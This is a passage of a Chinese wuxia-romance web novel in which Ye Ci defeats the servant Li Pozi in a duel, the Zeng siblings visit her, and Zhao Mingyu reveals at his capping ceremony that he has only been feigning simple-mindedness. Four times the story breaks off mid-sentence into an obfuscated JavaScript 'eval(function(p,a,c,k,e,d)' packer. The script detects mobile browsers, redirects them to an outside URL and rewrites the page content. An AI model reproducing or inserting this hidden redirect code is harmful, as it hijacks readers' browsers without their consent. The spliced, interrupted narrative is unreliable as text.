李婆子当叶慈是怕了她,当即更加颐指气使,鼻孔朝天,道:“夫人是讲理的人,怎么会调教出来这么蛮横的丫头,老婆子我今日便不计较了,还望夫人日后好好管教自己手底下的人。” 说罢,便要离开。 “慢着。”叶慈道。 李婆子还当叶慈要给她赔礼道歉,立马停下转过身来,得意地笑着。 叶慈却漫不经心地将眼皮一抬,道:“如今东西也拿回去了,您是不是也该道歉了。” 李婆子一时没反应过来,愣愣地问:“道歉?跟谁道歉?” “跟被你羞辱的芳语,”叶慈道,眼神凌厉,直直地看向李婆子,一扫方才的散漫,“还有我。” “我……我凭什么要跟你们道歉,是你们先擅自拿了厨房的东西,我来讨回来,有什么错?”李婆子抻着脖子骂道。 “野丫头,疯丫头,这些话不是你说的?” “那……那你那侍女还说我是老太婆呢!” “芳语,道歉。”叶慈道。 芳语和燕声虽跟了叶慈也不过月余,却了解她的性子,此刻已经完全明白了她的打算,芳语几乎压不住嘴角笑意,往前走了一步,抬着下巴道:“对不起,李婆子,您不老,更不是老太婆,您就是这武安侯府中最美的半老徐娘,世子夫人这位子就该让给您来做!” 芳语从小长于武行,喜欢练武,不爱读书,故而成语也用得乱七八糟的,燕声听着这明显带着揶揄的“半老徐娘”,也不禁掩唇笑了起来。 叶慈嘴角也微微翘了起来,又朝李婆子抬抬下巴,示意该你了。 “你们!你们这是仗势欺人!你们等着!”说罢,她气势汹汹地便要往院外走。 叶慈冲芳语和燕声使了个眼色,二人立刻飞身上前关上了门,一人一边,把李婆子逃走的路堵死了。 “这是准备去告状了?跟谁?仇嬷嬷吗?”叶慈明知故问道。 “你找两个丫鬟来堵门是什么意思?是不是身为主子,觉得自己还打不过我一个老婆子,怕了?” 叶慈一挑眉,道:“看来您是听说了仇嬷嬷亲自‘教训’我的事,特意借阿胶生事,想来与我‘切磋’的?” “哼!不必说那些冠冕堂皇的话!你一个山上来的野丫头,不过是被方士说中了长相,这才有福气嫁给我们世子,别觉得自己就能飞上枝头变凤凰了。况且,我们大允以武治天下,仇嬷嬷都发话了,说你连你这两个侍女都打不过,这事整个侯府都知道,就这么跟你说吧,不只是我,这府中下人,便没一个把你放在眼里的。” “叫你一声夫人,算是尊敬,不过是个野丫头,还真端起夫人架子来了,可笑!有本事就别让丫鬟出手,你自己上,来和我打,若是我赢了,你便要跪下磕头,叫我老婆子三声祖宗,如何?” 叶慈见她终于说出了自己内心的想法,越听笑得越玩味,若是放在以前,她或许还会因为自己的武学造诣确实与武安侯府中人相差甚远而避免这些冲突,也算委曲求全,能让大家的脸面都好看些。而现在,她不仅不怕这些人,而且自认以在府中待不了几天,所以再也不愿忍气吞声,只愿有仇报仇,快意地度过这段日子。 “若是我赢了呢?”她问。 李婆子似乎是觉得根本不存在这种可能性,轻蔑道:“那我老婆子便给你磕三个响头,叫你三声姑奶奶,如何?” 叶慈却道:“不必,若是我赢了,我只要你诚心诚意地给我道歉。” 芳语见她真要比,连忙阻止道:“夫人不可,这李婆子可是个正经习过武的练家子,功夫不比仇嬷嬷差多少,因此大家才都怕她三分。” 叶慈闻言,将李婆子上下打量了一遍,笃定道:“没事,她不是我的对手。” “商量完了吗?你比是不比?” 叶慈将大袖用襻膊绑起来,缓缓步下台阶,道:“比,怎么不比?” 芳语从杂物间拿出两柄赵明予小时候练剑时用的木剑递给叶慈,叶慈将其中一把扔给李婆子,问:“用剑比,如何?” 李婆子冷哼道:“用什么都行。” 李婆子根本不在乎武器,她把叶慈看作一个花瓶,打心眼儿里就没觉得她有能赢过自己的可能性,抬抬下巴道:“出招吧!” 叶慈也不客气,扎下马步,用后脚一蹬,便一剑刺了出去。 “幼稚!” 李婆子一侧身,轻而易举地躲过攻击,接着便击向叶慈后腰——在她眼中,五招以内,叶慈便会输得屁滚尿流。 然而,让她没想到的是,叶慈方才刺出的一剑不过是假动作,她作势用剑攻击,脚下却趁其不备,一个横扫! 李婆子没料到她会出这一招,还真让她绊了个踉跄,但好在迅速反应了过来,用左手一撑,便借力弹起,又飞出几步远。 “小家子气,净会使阴招!”她骂道,接着怒喝一声,提剑朝叶慈刺过来。 叶慈横剑格挡,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李婆子用袖子擦拭着嘴角鲜血,闻言,脸色越发难堪,但耐不过叶慈实在赢得无可挑剔,自己根本说不出二话来,只好缓缓跪伏在地上,道:“奴婢口出狂言,目无规矩,冒犯了夫人,恳请夫人原谅。” 叶慈听了,点点头,道:“知道了,起来吧。” 赢了这场比试,又得了道歉,她仍不卑不亢,面上看不出大喜大悲,只因这一切都是她应得的,并不值得高兴或伤心。 待李婆子退出去,芳语和燕声便欢天喜地地为叶慈准备饭菜去了,叶慈换了身衣服,回到自己曾经居住的房间,并不觉得亲切,只觉得陌生。 “夫人!” 叶慈正坐在床边,垂眸不知在想些什么,芳语又急火火地冲了进来。 “又怎么了?”她揉揉额角,还以为又有人来挑事了。 “是……是曾公子和曾姑娘来了,说是要探望夫人您!” 27. 第二十七章 叶慈眉头微皱,自曾念薇落水后,她便被赵渊下了狱,地牢看守严格,从不允许探视,因此曾念薇始终没来过。 她知道,曾念薇对仇嬷嬷和赵明予没有威胁,那二人没必要害她,因此也没担心过她的安危,这二人便渐渐从她生活中淡去了。 但是此时,叶慈刚回到侯府,这二人便忙不迭前来探视,一时让叶慈有些拿不准来意。 她不知后来曾家人是如何理解落水事件的原委的,仇嬷嬷自是不会替自己说话,因此,若说他二人此番是来寻仇的,那也是有可能的。 叶慈想了想,对芳语道:“拿上千钧剑,我去见上一见。” 天色已晚,客人通常都不会在这时候造访,除非一听说叶慈出狱便急急上门来。 这么着急见她,定是为了曾念薇落水一事。 叶慈有些拿不准曾家兄妹的态度,因此吩咐芳语拿上千钧剑,若对方真不讲理,那她也不得不用这把从曾家得来的剑来对付曾家人了。 然而事实证明,自从经历过赵明予的事情之后,叶慈虽习惯性地把所有的人事物都往最坏、恶意最大的方向想,但事实证明,在这暗潮汹涌的茌宁城中,权势滔天的武林盟和武安侯府中,确实还存有几分真情。 叶慈几乎刚现身,便被一道粉色的身影一个飞扑,险些摔倒在地上。 曾念薇哇哇大哭:“叶姐姐,他们怎么能那么冤枉你!” 曾安礼也急忙赶过来,几乎是把曾念薇从叶慈身上扒了下来:“念薇,你莫要乱来,叶姑娘万一有伤在身怎么办?我可是听说了,那茌宁地牢的条件要多差有多差,进去以后脱个三层皮都是小事,叶姑娘才刚出来,你小心……” 他话才刚说一半,曾念薇便忽地弹开,又扒拉着叶慈左看看右看看,确认她没受伤,这才松了口气。 “我算是看错赵明予了!”她这才想起来正事,怒道,“仇嬷嬷和赵伯伯错怪你就算了,他竟然也不替你说话,要不是我身体也才刚恢复过来,我必须要当面把他骂醒!” 叶慈看这二人情真意切,神态不似作伪,应当确实不知道赵明予装傻的事情,但她自然也不可能告诉二人事情的真相,若是被仇嬷嬷知道她泄露了赵明予的秘密,估计又要取她性命了,这回可没人能来救她。 她如今仍在侯府之中,还是自保更重要。 于是她淡淡一笑:“都过去了。” “叶姐姐……”曾念薇又拉起她的手,眼神由下至上觑着她,似乎在观察她的神情,“你没生我的气吧?那时我也不知道怎么的就掉到水里面去了,就感觉背后好像有人推了我一把,但我知道不是你!我掉下去的时候,还看到你站在远处,想要来救我呢!” 叶慈想起自己那时有一瞬间,是真的想要牺牲曾念薇而保全自己的,心中升起一丝愧疚。 她抬手摸摸曾念薇的头顶,而对方则像小猫一般乖顺地蹭了蹭她的手心,惹得她微微一笑,道:“我怎么会生你的气?这种意外谁都无法预料,我怎么能不分青红皂白地怪你?” “嘿嘿,那就好!” 叶慈见她活蹦乱跳的,又问:“身体没事了吧?” 曾念薇重重地点点头:“已经好全了!不信,叶姐姐来检查一下!” “好啊——”叶慈笑着,猝不及防地伸手挠了一把曾念薇的痒痒肉,把她逗得尖叫着跑开,又不甘心地跑回来“报仇”,二人便这么闹作一团。 曾安礼将折扇一摇,看着眼前场景,也终于弯了嘴角。 等二人闹累了,他才开口道:“天已黑了,不若我做东,请叶姑娘去城中最大的酒楼鸿运楼吃饭如何,不知叶姑娘可愿赏光?” 叶慈刚想答应,一旁的燕声便提醒道:“夫人,仇嬷嬷嘱咐了,在世子回来之前,没她的吩咐,任何人不得随意出府……尤其是您。” 这是怕她跑了,又将赵明予的秘密泄露出去,叶慈想着,又觉得仇嬷嬷和赵明予二人行事有种说不出的怪异,这么怕她泄露秘密,却不杀她,在地牢中甚至吩咐人好吃好喝地伺候她,是怕她报复吗? 但她一个孤女,既无背景,武功也比不过他们,这二人究竟在顾虑什么? 不过现在不是想这个的时候,她看到曾家兄妹还在等她的答复,便随口找了个借口道:“不如留在侯府吃吧,我听说你们来了,早前已吩咐丫鬟将饭菜备好了。” “也好,也好。”曾安礼道,“那我便下次再约请叶姑娘,还望不要推辞。” 叶慈笑着答应了。 赵明予不在,仇嬷嬷被琐事缠得脱不开身,三人吃得开心了,她便叫燕声上了壶温酒,与曾念薇和曾安礼薄饮了几杯,三人一直欢声笑语直至中宵。 一直到宵禁,才堪堪散场,叶慈留二人住宿,曾念薇便央着叶慈,软磨硬泡着求她想和她睡一张床,叶慈拗不过她,便答应了。 叶慈从小便和乔二生活在山上,不仅没有过和同龄小姐妹一同逛街玩闹的经历,连同龄人的朋友都没有,更遑论和这种同龄小姐妹同塌而眠了。 二人刚梳洗好躺上|床,曾念薇便小狗一般凑过来,裹着被子露出个脑袋,眼睛亮晶晶的,直直看着叶慈。 叶慈被盯得颇为不自在,移开目光,问:“怎么靠这么近?” “叶姐姐。”曾念薇眯着眼睛笑起来,笑容中颇有几分狡黠,“你对我哥怎么看?” “你哥?”叶慈不明所以,用手支起脑袋来,回答道,“嗯……人温和有礼,身为曾家家主,又掌管兵器堂,自然是惊才绝艳,是当世第一等的人物。” 曾念薇笑得更放肆了:“那要不……你跟明予哥哥和离,嫁给我哥,怎么样?” 叶慈胳膊一滑,险些从床上掉下去,一时连话都说不利索了:“你……你怎么突然说这个?” 曾念薇眨巴着大眼睛:“叶姐姐与明予哥哥也没有夫妻之实吧?从前我觉得你们之间多少也有些情分,但经历了这次的事情,你难道就不生他的气吗?” 叶慈沉默了下来,说不生气,当然是假的,只不过她并不是气赵明予作伪证,而是气他肆意摆弄别人的命运,更是气他撒谎欺瞒、将她的真心实意全都弃若敝履。 “叶姐姐,说实话,我觉得我哥对你有意思。” 叶慈更惊讶了,哑然道:“……你说什么?” 曾念薇又重复了一遍:“我说我觉得我哥对你有意思。” 接着,她又仿佛害怕叶慈不相信一般,如数家珍地说起了理由:“有些事情,叶姐姐你可能没注意过,我可是看得清楚!每次几乎有你在场的时候,我哥的目光就没离开过你!而且啊,他还特别爱看着你笑,他看我的时候都没那样,你说那不是喜欢是什么?” “……” “说实话,叶姐姐,我觉得我哥喜欢你也是很正常的,你也知道我哥他……从小身体就不好,每次看到别的同龄人习武、玩耍,都羡慕得很,所以他从小就特别喜欢和那些有活力的人玩在一处。叶姐姐你这么坚强有头脑,还好像有使不完的力气,当然让我哥不喜欢都难啊!” 曾念薇话糙理不糙,叶慈她太生机勃勃了,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329969|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野草般无穷无尽,仿佛不管处于何种境地都能坚强地活下去的生机,是在任何人身上都少有的。 叶慈更加沉默了起来,她半晌没说话,急得曾念薇龇牙咧嘴地直让她说句话,半晌才道:“念薇,我不愿意让你伤心,但正因如此,我才必须告诉你,不管你说的那些究竟是不是你哥所想,我都不可能答应你。” 曾念薇听了,似乎略有些失落,瘪了瘪嘴,但也没如叶慈预想中一般撒泼打滚,而是放轻了语气问道:“叶姐姐是对明予哥哥还有留恋?” 叶慈微笑着摇摇头:“无论是侯府,还是兵器堂,说到底都不是我的归宿。” 曾念薇歪了歪脑袋:“那哪里才是?” “哪里都不是。”叶慈声调沉沉,语气却仿佛阔远,“我想闯荡江湖,找找自己的根。” 她在这个世界并无来处,如今乔二没了踪迹,茅屋也被烧成了灰烬,于是也没了归处。 生如天地一浮萍,若是找不到这二者,人是没办法安心生活的。 她也学着曾念薇一样眯着眼睛笑起来,将食指竖在唇前:“不要告诉别人哦。” 曾念薇似懂非懂地点点头:“那叶姐姐可是要逃出侯府去,到外面走江湖?” 虽然与曾念薇亲近,叶慈也不打算将自己的计划和盘托出,只是开玩笑一般地说:“还不知道呢,或许你哪天再来侯府找我,就找不到了呢?” 曾念薇闻言更加抱紧了叶慈的腰,笑嘻嘻地说:“那我可要更珍惜现在和叶姐姐相处的时间了!” 说完,二人又闹作一团,笑语声一直持续到后半夜,才渐渐停息下来。 第二日快到中午二人才走,叶慈虽听曾念薇代替兄长向她一番剖白,但她心中却并无绮念,因此面对曾安礼也没什么别扭的感觉。 她想,或许这就是那些读书人所说的“君子之交”? 赵明予扶灵回京用了七天,将赵渊下葬后便被皇帝留在了京中,为他准备加冠礼。 由于赵家十数年前已被灭门,如今赵渊又死了,皇帝怜悯赵明予孩童心智又在这世上没了亲人,原本准备亲自为他行加冠之礼,孟临却自告奋勇,称自己与赵渊不是兄弟却胜似兄弟,愿代赵渊替赵明予加冠,皇帝自然是欣然答应,但还是派了心腹筹办这次典礼,朝中众人都甚是重视。 消息从京中传来,赵明予愈得皇帝重视,叶慈在府中便愈加被轻视、不满。 所有人都觉得叶慈的身份配不上赵明予,从前有赵渊这个家主拍板,没人敢说什么,如今赵渊不在了,赵明予又从未在人前给她撑过腰,叶慈自然得不到侯府众人的认可。 不过好在先前李婆子来找事时,叶慈也算杀鸡儆猴,给了这些惹是生非者一个下马威,但仍不免有些碎嘴子总在侯府内甚至城中说三道四,只说她身份低下又私德败坏,配不上未来的小侯爷,早晚要被休。 芳语与燕声很是不平,但叶慈却不在乎,一心只想找机会从侯府逃出去,奈何仇嬷嬷掐准了她的心思,侯府守卫只一日比一日严,却从没有松懈的道理。 这是要她死也要死在侯府里。 直到消息传来的那一天。 那日,芳语出门采买,没过半个时辰便大惊失色地回来,说茌宁城中已沸反盈天了,所有人都在议论两件事。 第一件,是小侯爷突然在加冠礼上恢复了神智。 第二件,则是小侯爷昭告天下,说自己与院子里的农妇之间不过儿戏,做不得数。 这两件事叶慈听在耳朵里,心里却明白,终于是时候了。 28. 第二十八章 七月十五,中元节,京城中一片肃穆。 天刚入夜,街头巷尾的灯火逐渐亮起,家家户户都摆放着香案,纸钱、冥币、供品,整齐而庄重。人们在灯笼的微光下,低声念诵着祷文,祈求祖先保佑、孤魂野鬼安息。 大街上,摊贩们的叫卖声依旧,然而在这一天,熙熙攘攘的人群中,更多的是祭祀的队伍与手捧香烛的市民。 城郊的庙宇更是香火旺盛,只因今年的中元节比往年更特别,百姓们奉皇命,不论烧香祈福亦或是为故去的亲人烧纸,都必须要烧双份的,以此为新故去的老武安侯祈福。 一轮明月如玉盘高悬,月光洒在古老的城墙和宫殿的屋顶上,仿若镀了一层银霜。 烛火摇晃,将一道立在御书房中的明黄色身影照得更亮了,锦衣之上,是一张俊美面容,那人长了一双狐狸眼,眼尾微微上挑,左眼内眼角则生了一枚小痣,为他平添一分男子少有的魅色。 正是赵明予。 他此刻脸上再无天真之色,垂眸端正地立在殿中,即便面见圣上,仍神色沉稳,不卑不亢、波澜不惊。 “赵爱卿如何看待武林盟主呈上来的这封密函?” 正替皇帝研墨的侍女停下手中动作,恭敬地双手接过皇帝递过来的信函,又小步走到赵明予跟前,将信函递给他。 赵明予大致扫了一眼,孟临这封密信的内容其实并不复杂,大致说的便是,大允是朝廷的大允,而武林盟作为大允的一部分,对朝廷自然是绝对的臣服,不过其中最耐人寻味的还是那句“愿为侯府分忧,扶世子大权”。 “愿为侯府分忧,扶世子大权。”赵明予重复了一遍,似乎是看到了什么好笑的事情,语气中带上了些许笑意,“孟盟主竟然这便忍不住了,还真是心急。” 皇上年过中年,两鬓已生了白发,却依旧神采奕奕,他听了后哈哈大笑:“还不是你和你父亲将他瞒得那样好,不光他,若非你刚来京城,便进宫来告诉朕真相,朕恐怕现在也还被蒙在鼓里呢!” 赵明予闻言立刻单膝下跪:“请皇上治臣欺君之罪。” 皇上一脸玩味道:“行了,起来吧。说了多少次了,你和你父亲属于迫不得已,并非故意隐瞒,朕不治你的罪。” 赵明予这才重新站起身来,说:“这孟临狼子野心,他继位武林盟主前,江湖人从来都不参与朝堂斗争,只受武安侯制约,其余互不干涉。而自从他上任武林盟主以来,虽然表面上看起来对朝廷愈加亲近,实则在暗中培植了不少自己的势力,不仅在江湖中,甚至在朝堂上,都隐隐有要与武安侯分庭抗礼之势,因此臣与父亲才出此下策,由臣装作心智不全的样子来迷惑孟临,从而引出他的狐狸尾巴,如今看来,是时候收网了。” 赵明予自然不能说实话,这世上只有仇嬷嬷、他自己和叶慈知道他装傻的真相,但若他将这些事情全数告知陛下,便不免引起他的猜疑,若是被他查出赵渊之死与他有关,那麻烦就大了。 皇帝高坐堂上,居高临下地审视着赵明予,似乎正在分辨他话中的真伪,赵明予感受到那道如炬的目光,只觉得如芒在背。 “你父亲的死,会否也与孟临有关?”皇上突然问。 赵明予早准备好了说辞,面不改色道:“父亲早就感受到孟临的威胁,于是越发渴求武学上的进境,或许便是因此才走上歪门邪道,以至于走火入魔。不过那些邪书,臣经过调查,发现或许确实与孟临有几分联系。” “哦?”皇帝挑挑眉,示意他继续往下说。 “臣暗中调查孟临时,发现他有一支死士队伍,其中全是被毒哑的女子,名为螽卫。” “这倒是有趣。”皇帝饶有兴趣道,“竟以螽斯命名,雌螽斯无鸣,这女子死士则全是哑巴。女人容易让人放松警惕,查起事情来更方便,即便被敌人抓住也吐不出丝毫秘密。” 赵明予微不可见地皱了皱眉,才继续道:“是。这些女子从前大多要么出身下九流,要么便出身魔教,因此臣怀疑父亲所看邪书的来源,便是螽卫。” “可有证据?” “暂未查到。” “那便继续查。” “是。”赵明予顿了顿,才继续说,“不过眼下最重要的,还是孟临。” “自然。”皇帝打了个哈欠,“不都已安排好了吗,眼下还不是将他彻底铲除的时候,不过后日,你的加冠礼上,也该给他些颜色看看了。行了,若没有其他事,便下去吧,朕累了。” “是。”赵明予又行了个礼,才缓缓退去。 他刚步出御书房不久,里面便传来皇帝与那研墨侍女的欢声笑语,赵明予听着,脸上厌恶的神色一闪而过,接着又恢复了从前的天真无邪。 一名值夜侍女走上前来为他提灯引路,他便如孩童一般乖巧地笑了笑,道:“多谢宫女姐姐。” 那宫女也对他回以善意的微笑:“世子不必客气。” 她表面上对赵明予十分恭敬,内心却其实只有怜悯,还略有几分鄙夷。 武安侯病逝的消息已传遍京城,虽然皇上下令严禁百姓议论他的死因,只说是一心为国,以求进境,却不慎着了魔教的道,但其实他走火入魔以至于爆体而亡的事情已成为公开的秘密,百姓和江湖人们都对此众说纷纭,因此怎么说赵明予的都有,不过好在朝廷力挺武安侯世子,甚至准允其冠礼在太庙举行,足见恩典与重视,这才将无数谣言扼杀在了摇篮之中。 作为侯府唯一的继承人,赵明予的心智早已成为公开的秘密,朝中不少人都觉得武安侯府后继无人,甚至连个能过继的旁支都没有,不如早日换人的好,武林盟主孟临更是直接上书皇上,称自己愿代武安侯向皇上效劳,其狼子野心,昭然若揭。 孟临在老武安侯死后对侯府表面恭敬,实则步步紧逼,他以协助侯府为名,几乎代武安侯掌控了所有武林事务,极大地削弱了侯府在江湖中的话语权。 天下风云变幻,京城中亦因着武安侯世子的加冠礼和袭爵礼而暗流涌动,赵明予却始终如同个无忧无虑的少年,对外界的波谲云诡一无所知。 礼部的官员每次造访赵明予下榻的客栈,都能看到他在父亲的牌位前流连不去,神情痴愚,让人怀疑他是不是连记全冠礼流程的能力都没有。 侯府内外亦是忧心忡忡,仆从、朝臣们皆议论纷纷,不少人暗暗叹息,这个传承百年的侯府,恐怕要在这一代衰落了。 孟临更是借势大肆布局,收拢人心。他自请为世子加冠,在冠礼前,特意派亲信送来一份厚礼及一封书信,大意是:天塌了还有孟伯伯在,贤侄不必忧心侯府事务。 赵明予没看懂其中夺权深意,甚至还颇为欢喜,觉得自己肩上的担子一下轻了,他身边仆从们一个个脸色铁青,却奈何主子不懂事,自己也只能忍气吞声。 七月十七,吉神值日,宜祭祀祈福。 清晨,熹光洒满太庙祭坛,侍卫着甲严阵,整齐地排列在祭坛两侧,宣示着专属皇家的威严。祭坛中央已设立了高大的冠礼仪台,仪台上雕刻着精致的龙纹和祥云图案,四角燃着檀香,烟雾袅袅升腾,仿佛与天相接,神圣万分。 因着武安侯世子仍在孝期,加冠礼虽隆重,但却不甚喜庆,祭坛广场上只点缀着数个金红相间的丝绸灯笼,已显得足够庄严肃穆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冠上镶嵌着象征初步成年的纹饰,赵明予行礼受冠,随后又加巾冠,最终加上象征世子身份的通天冠,冠顶微微闪耀着金色光芒,昭示着其尊贵的地位。 孟临居高临下,看着自己这傻侄儿的头顶,颇有些十年饮冰之后的大功告成之感。 地位尊崇又如何?得皇帝怜爱又如何?他即便接任了武安侯,此后也不过只能充当自己的傀儡罢了。 孟临只觉得自己蛰伏数年,若非有着一个与武安侯共同的秘密,又怎会虽为盟主,却处处掣肘。 好在现在那个老东西自食恶果,终于死了个干净,只剩下一个不顶事的傻儿子,今后武林盟,不,或许以后便是整个天下,岂不全听他掌控了? 他今日刻意迟到半刻,便是为了在武林人士面前压这傻世子一头,让天下人看看,谁才是真正的掌权者。 他已经忍了太久了,从二十年前阮流逸做盟主时开始,他便只能屈居人下当个副盟主,后来阮流逸死了,他当上盟主,却又因为深埋泉下的往事与赵渊互相牵制,这十数年来,即便贵为盟主,统治天下武林,也感觉甚是不痛快。 不过好在快了,就快了…… 他这样想着,将手伸向漆盘中象征武安侯身份的玉印与剑。 待完成这个仪式,这整个武林便能尽在他的掌握之中了…… 倏地,有一只手指修长、骨节分明的手在他之前,按在了那把剑上。 孟临大惊,他猛地抬头,只看到眼前赵明予的脸上神色凛冽,眼神中锋芒毕露。 一阵天风吹来,拂去他额前碎发,露出锋利的眉眼,竟有些说不出的意气风发,哪里还有从前的呆傻神色? 29. 第二十九章 “孟伯伯,这袭爵礼意义重大,不如还是我自己来吧。”赵明予一字一句,声音坚定,哪里还有一丝的孩童神色。 孟临一时惊疑不定,竟直接愣在原地,眼睁睁看着赵明予越过他,拿起象征武安侯权力的玉印与宝剑,一转身,高举手臂,震声喊道:“我赵明予,今日以父亲遗命继承武安侯之位!愿谨遵祖训、忠心为国,守护家族荣耀!” 他这一声用了内力,太庙既空旷且大,赵明予的声音一时如洪钟一般回荡其中,甚至激起了回音。 礼官见孟临仍愣着,便代行其事,高声宣读道:“武安侯世子赵明予,承袭侯爵之位,即日起为新任武安侯!” 这句话仿若一声惊雷,这才将孟临惊醒,他如梦初醒般忽地站了起来,语无伦次地道:“贤侄你……” 赵明予神色不明地看了他一眼,高声道:“皇家太庙有龙脉经过,受上天庇佑,经过方才仪式,本侯忽感四周灵气充盈,四体轻盈,神思清明,想必是承圣上福泽,真是天佑我大允啊!” 他将自己恢复神智的事情说的玄之又玄,又扯上大允龙脉与圣上福祉,就算有人想质疑,此刻也开不了口了。 亦有人本就对玄学之说颇为信服,此刻听了赵明予的说辞,竟真的相信了,以为自己亲眼见证了什么神迹,一时心头大震,直直跪了下去,高呼道:“侯爷千岁!圣上万岁!” 一石激起千层浪,祭坛下观礼的人群如海潮一般跪了下去,众人山呼道:“侯爷千岁!圣上万岁!” 孟临仍站在原地,面皮抽搐了几下,脸上的笑容终于挂不住了。 他方才还以为自己即将功成,岂料下一秒,筹谋便全数灰飞烟灭,他近乎怨毒地抬眼看赵明予,却见赵明予也正巧看过来,斜乜着他道:“孟盟主为何不跪,可是对皇上不敬?” 孟临看见他的眼神才明白过来,他全明白了,虽不知目的,但赵明予这些年恐怕从未傻过,他不仅不傻,甚至精明似狐、多智近妖,骗过了所有人,也包括他。 他此前得意忘形,以为自己在江湖上已然可以唯我独尊,却没想到这小子早为他搭好了戏台,专等他登场唱这一出《二进宫》。 只可惜他现在虽然明白了,却已毫无办法,虽不情不愿,还是缓缓地将膝盖一弯,跪了下去。 “圣上万岁,侯爷……千岁。” “孟盟主,身为盟主,怎么声音还这么小,可是身体不适?若是因案牍劳形,适应不了,我看这盟主之位,还是早日换人的好。”如今情势翻转,换作赵明予居高临下,声音虽淡淡的,却隐含威压。 孟临咬牙切齿,心中早已把赵明予碎尸万段,却还是丹田发力,声如洪钟般让场上所有人都听到。 这一局他输了,为了不输得彻底,就必须再次低下头颅,蛰伏隐忍,直到他有能力将武安侯势力连根拔起的一天。 “侯爷千岁!圣上万岁!” 赵明予似乎这才满意,重新将目光投向台下人群,震声道:“武安侯府掌控江湖百年,不容任何人觊觎。若有人觉得我赵家无人,想趁机代领权柄,行不轨之事,便别怪我容不下他!” 他说着,眼神似有若无地扫过伏在地上的孟临,又道:“若有不服的,也可上前来,试试我手中之剑,究竟利是不利!” 台下自然是鸦雀无声,半晌,皇上派来的内廷使者见众人臣服,才缓缓起身迈向前去,站在赵明予跟前,道:“如今礼成,陛下有圣旨要宣,请武安侯听旨!” 赵明予闻言跪下。 “奉天承运,皇帝诏曰:武安侯府忠烈满门,今日继位,乃国之幸事。愿侯爷忠勇无双,护国安邦,特赐金册,以示嘉奖,钦此!” “臣遵旨。” 赵明予双手接过金册,他知道,这相当于皇上给他的认证,表明皇室的立场亦站在武安侯这一边,场上若再有不服者,便是与皇上作对,因此无论是各怀心思的观礼者,亦或是注视着这场冠礼的无数百姓,再没有人敢提出异议了。 典礼结束后,赵明予做东大宴天下,包下了城中所有的高档酒楼,无论是朝上众臣,亦或是江湖侠客,甚至市井百姓、贩夫走卒,皆可以来参加。 京城中几乎万人空巷,所有人都想去沾一沾这位朝廷新贵的喜气,加上他在加冠礼上突然恢复心智,颇有些传奇色彩,让人们更想见一见这位传说中的新任武安侯了。 孟临却借口公务繁忙,在加冠礼结束后便不见了人影,赵明予特意派人去请,也被委婉回绝了,想来也是一时没脸出现在赵明予面前了。 宴席上,赵明予坐的那桌最是热闹,觥筹交错,不知多少人想和小侯爷说上句话,结交一番,他们只觉得小侯爷前途无量,比任何一任武安侯都更得皇上的宠信,日后这位少年英才若是有大作为,自己万一也能沾点光呢。 权贵们送来的礼单都快堆成山了,赵明予一律退了回去,只道武安侯府远在茌宁,这些金银珠宝就算收下了,山高路远,也带不回去,万一在路上再遭了山匪,岂不让大家白费心意。 浸淫官场的大人们心思玲珑,立刻改变方向,给赵明予塞了几个能歌善舞的美人儿,有异域来的,也有罚没的官家小姐,什么风格的都有,赵明予却还是尽数拒绝了。 有人大着胆子问他可是已有心仪之人了。 赵明予怕自己如今树大招风,不仅被朝堂上数百双眼睛盯着,更有孟临在暗处伺机报复,若是说出叶慈的名字,便是将她往火坑里推,于是只是笑而不语。 有那没眼力见儿的,看他不说话,便自以为是地替他答:“贤弟你有所不知,先前小侯爷神思不清之时,已娶过妻子了,听说是老侯爷病急乱投医,信了江湖方士的‘冲喜’之说,为他娶了个额间带痣,貌若菩萨下凡的姑娘。这姑娘虽貌美,却可惜出身实在一般,只是个普通的农妇。” “有这等事?”那个要给赵明予送美人儿的听了更来劲了,“那小侯爷可更要收下我给你搜罗的这位美人儿了,她虽出身青楼,但至少身段儿好,歌喉舞姿更是京城一绝,应当比那农妇得趣多了。” 赵明予听了,眉头微皱,眼神变了变,但很快便重新换上笑脸,道:“不必了,我已有心仪之人。” “哦?想不到小侯爷竟如此多情,那看来这亲,是势必要重新成一次了?”那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356286|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言下之意,是赵明予是时候抛弃那来自乡下没意思的糟糠之妻,另娶心中所爱了。 赵明予竟真点点头,神色之间颇有几分认真:“是该重新办一次,从前的婚礼太儿戏,做不得数。” 众人听了哈哈大笑,直呼小侯爷是个情种,便也不再提给他送美人儿的事了。 然而他们听的是一个意思,赵明予说的却是另一个意思。 